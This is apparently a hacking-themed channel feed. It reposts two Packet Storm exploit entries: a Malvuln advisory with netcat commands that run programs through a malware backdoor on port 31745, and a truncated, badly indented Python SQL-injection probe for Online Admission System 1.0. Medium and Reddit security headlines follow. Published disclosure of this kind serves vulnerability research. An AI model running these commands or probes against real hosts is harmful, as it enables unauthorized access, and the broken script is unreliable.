Exploit Collector
Backdoor.Win32.Bushtrommel.122 MVID-2022-0630 Remote Command Execution

https://2.bp.blogspot.com/-QZ2Sf2sxziM/WWlvZhEG73I/AAAAAAAAIO0/d0s8s4TXkHwnfXzbpubNEBqDxa568NQgwCLcBGAs/s1600/h60.png
Backdoor.Win32.Bushtrommel.122 malware suffers from an unauthenticated remote command execution vulnerability.

SHA-256 | cf89785b492c836d6c244e6fc3290bceee66fd68edf28a7400e7d2792d8b6e34

Download
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/76c09bc82984c7f7ef55eb13018e0d87_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Bushtrommel.122
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 31745 and 1030. Adversaries who can reach infected hosts can run commands made available by the backdoor. The "*RUN" command calls CreateProcess() based on CL input, errors will result in a pop up dialog on the infected host: "CreateProcess() in function () GetConsoleOuput() failed!". Correct syntax is as follows *RUN"calc.exe", successful code execution results in the response "*EVA*" from the backdoored host.
Family: Bushtrommel
Type: PE32
MD5: 76c09bc82984c7f7ef55eb13018e0d87
Vuln ID: MVID-2022-0630
Disclosure: 08/04/2022

Exploit/PoC:
C:\>nc64.exe x.x.x.x 31745
*PASS**RUN"calc.exe"
*EVA*

C:\>nc64.exe x.x.x.x 31745
*PASS**RUN"c:\DOOM.exe"
*EVA*
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Online Admission System 1.0 SQL Injection

https://4.bp.blogspot.com/-our8kmhncnY/WWlvTk7Dk6I/AAAAAAAAINs/ofoeVvTLCzkScTt1I86TmBZptlym-DdFACLcBGAs/s1600/h42.png
Online Admission System version 1.0 suffers from a remote SQL injection vulnerability.

SHA-256 | 9f6552806e7f79bf6438a86513e24999dcff366eebb104a253377d13284fc82e

Download
# Exploit Title: online-admission-system 1.0 - unauthenticated SQL Injection
# Date: 5-08-2022
# Exploit Author: syad
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/15514/online-admission-system-php-and-mysql.html
# Version: 1.0
# Tested on: Windows 10 + XAMPP 3.2.4
# CVE ID : N/A

# Description
# The eid parameter does not perform input validation on the edit.php file it allow unauthenticated SQL Injection
import requests
import sys

proxies = {"https": "https://127.0.0.1:8080", "http": "http://127.0.0.1:8080"}

def send_request(ip):
x = "http://%s/Student-Admission_0/Student-Admission/?a=edit&eid=8'" %ip
z = requests.get(x,proxies=proxies)
if "You have an error in your SQL syntax" in z.text:
print("[+] Found Sql Injection")
if __name__ == "__main__":
try:
ip = sys.argv[1].strip()

except IndexError:
print("[-] Usage %s
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Zimbra UnRAR Path Traversal

___________________________
@hacking_Attack
@Hacking_Video

Hacking a company from a phone
https://medium.com/@toxglot/hacking-a-company-from-a-phone-478bbfed04c8?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

This story is a tale from my job around being able to fully compromise a server whilst only having my phone accessible to me.Continue reading on Medium » (https://medium.com/@toxglot/hacking-a-company-from-a-phone-478bbfed04c8?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Automate SQLiDetector Hacking Tool

completely automate SQLI-Injection detector hacking toolContinue reading on Medium »
Read more...

Automate SQLiDetector Hacking Tool
https://medium.com/@arshiadev/automate-sqlidetector-hacking-tool-f8a51e05cc8b?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

completely automate SQLI-Injection detector hacking toolContinue reading on Medium » (https://medium.com/@arshiadev/automate-sqlidetector-hacking-tool-f8a51e05cc8b?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Deep Web
Three Sentenced for Operating the “Reboot” Store on Hydra

https://external-preview.redd.it/CWYN4sIyJXcjX3UPztgpu3g6PEoa0Ixe_etbdm4t2H0.jpg?width=640&crop=smart&auto=webp&s=9778b8aaa007f6e6cdb11f36c98db799e00891f3 submitted by /u/kirby__000
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Ethereum Akıllı Sözleşmelerinde Tam Sayı Taşmasını Önleyin

https://cdn-images-1.medium.com/max/871/1*xwLrSmLCYqaFRnDC8133hA.png
Akıllı sözleşmelerden para çalmaya yönelik hacker saldırılarının çoğunun Tamsayı Taşması adı verilen bir tür hataya dayandığını biliyor…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
CISA agrega la vulnerabilidad de correo electrónico de Zimbra a su catálogo de vulnerabilidades…

https://cdn-images-1.medium.com/max/1547/0*679Rq9dZMSxhTcgY
PUBLICADO EN 5 AGOSTO, 2022POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
O Hack Multi-sig: A autópsia

Na quarta-feira, 19 de julho de 2017, um bug encontrado no código da carteira multi-assinatura (“multi-sig”) usado como parte do software…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video